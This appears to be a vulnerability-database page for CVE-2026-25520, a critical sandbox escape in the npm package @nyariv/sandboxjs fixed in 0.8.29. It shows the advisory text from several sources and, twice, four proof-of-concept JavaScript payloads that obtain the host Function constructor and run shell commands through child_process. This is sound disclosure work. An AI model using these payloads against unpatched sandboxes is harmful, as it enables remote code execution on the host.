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CVE-2026-25520

SandboxJS has a Sandbox Escape

10.0 CriticalFix available

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.85%Up 0.8 points since Feb 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 10.0

SandboxJS has a Sandbox Escape

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.

Record
CVE-2026-25520
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02
EUVDEUVD-2026-5591 10.0

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.

Record
EUVD-2026-5591
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-58jh-xv4v-pcx4 10.0

@nyariv/sandboxjs has a Sandbox Escape issue

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

Record
GHSA-58jh-xv4v-pcx4
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02
NVD 10.0

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.

Record
CVE-2026-25520
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02
OSV 10.0

SandboxJS has a Sandbox Escape

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.

Record
CVE-2026-25520
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02
OSVGHSA-58jh-xv4v-pcx4 10.0

@nyariv/sandboxjs has a Sandbox Escape issue

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

Record
GHSA-58jh-xv4v-pcx4
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@nyariv/sandboxjs
npm
through 0.8.28
0.8.29
@nyariv/sandboxjs
npm
before 0.8.29
0.8.29

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-25520 is a critical vulnerability (CVSS 10.0) in Nyariv Sandboxjs, published February 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.85%, the 58th percentile. Fixed in @nyariv/sandboxjs 0.8.29.

References

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